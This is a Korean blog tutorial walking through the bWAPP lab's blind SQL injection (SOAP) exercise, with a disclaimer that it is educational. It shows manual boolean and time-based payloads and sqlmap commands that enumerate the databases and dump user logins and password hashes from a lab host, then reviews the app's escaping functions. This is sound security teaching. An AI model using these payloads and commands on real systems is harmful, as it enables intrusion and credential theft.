정보보안(구버전)/ bWAPP 2019. 2. 8. 09:48
웹 해킹 bWAPP - 27. A1 - Injection - SQL Injection Blind(WS/SOAP)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. SOAP
- SOAP : Simple Object Access Protocol
- XML, HTTP, HTTPs 등을 기반으로 하여 다른 시스템에 있는 데이터 및 서비스를 호출하기 위한 프로토콜
3. Injection - SQL Injection Blind(WS/SOAP)
- 이 시나리오는 Query 결과를 참/거짓으로 출력하는 페이지를 이용하여 데이터베이스 내용을 추측하는 내용이다.
- 실습 진행시 영화를 검색했을때, 예매 가능한 티켓 개수(참) 및 유무(거짓) 메세지를 통해서 공격해야 한다.
Ex1) Injection - SQL Injection Blind(WS/SOAP) 이해
보안 레벨 선택 및 시나리오 선택
'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시 -> 티켓 개수 파악 X
'or 1=1# 을 실시하여 참인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X
'or 1=2# 을 실시하여 거짓인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X
bee@bee-box:/var/www/bWAPP$ vi ws_soap.php
~ 중간 생략 ~
include("connect.php"); } :q! |
'or '1'='1# 을 실시하여 참인 경우, 출력 메세지 확인 -> 티켓 개수 파악 O
'or '1'='2# 을 실시하여 거짓인 경우, 출력 메세지 확인 -> 티켓 개수 파악 X
'or '1'='1# Time-Based Blind 인젝션 실시 -> 참이기 때문에 지연 발생 O
'or '1'='2# Time-Based Blind 인젝션 실시 -> 거짓이기 때문에 지연 발생 X
Database 이름 길이를 알기 위한 SQL 인젝션 실시 -> 거짓이므로 티켓 개수 파악 X
Database 이름 길이를 알기 위한 SQL 인젝션 실시 -> 참이므로 티켓 개수 파악 O
Ex2) SQLmap을 이용한 공격 실시 I
- 인젝션 유형 : SQL Injection Blind(WS/SOAP)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch --dbs
~ 중간 생략 ~
available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql
[14:10:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 14:10:37
Ex3) SQLmap을 이용한 공격 실시 II
- 인젝션 유형 : SQL Injection Blind(WS/SOAP)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP --tables
~ 중간 생략 ~
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[14:29:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 14:29:33
Ex4) SQLmap을 이용한 공격 실시 III
- 인젝션 유형 : SQL Injection Blind(WS/SOAP)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP -T users --columns
~ 중간 생략 ~
Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| activated | tinyint(1) |
| activation_code | varchar(100) |
| admin | tinyint(1) |
| email | varchar(100) |
| id | int(10) |
| login | varchar(100) |
| password | varchar(100) |
| reset_code | varchar(100) |
| secret | varchar(100) |
+-----------------+--------------+
[14:42:35] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 14:42:35
Ex5) SQLmap을 이용한 공격 실시 IV
- 인젝션 유형 : SQL Injection Blind(WS/SOAP)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" --cookie="security_level=0;PHPSESSID=fc835064d3ec1f5b06251a6fd6a1b67b" -p title --threads=5 --level=5 --risk=3 --batch -D bWAPP -T users -C id,login,password --dump
~ 중간 생략 ~
Database: bWAPP
Table: users
[2 entries]
+----+--------+------------------------------------------------+
| id | login | password |
+----+--------+------------------------------------------------+
| 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+----+--------+------------------------------------------------+
[14:53:28] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[14:53:28] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 14:53:28
Ex6) 'sqli_5.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_5.php
-rw-rw-r-- 1 root www-data 6458 2014-11-02 23:52 sqli_5.php
bee@bee-box:/var/www/bWAPP$ vi sqli_5.php
~ 중간 생략 ~
include("functions_external.php");
function sqli($data) switch($_COOKIE["security_level"]) } return $data; }
:q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); // 작은따옴표를 문자열로 이스케이프 실시 }
function sqli_check_2($data) {
return mysql_real_escape_string($data); // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시 (NULL, \n, \r, \, ', ", ^Z) }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data);
return $input;
} |
Ex7) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
SQL 인젝션 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 27. bWAPP Injection - SQL Injection Blind(WS&SOAP) https://youtu.be/YkjXjsBTwPs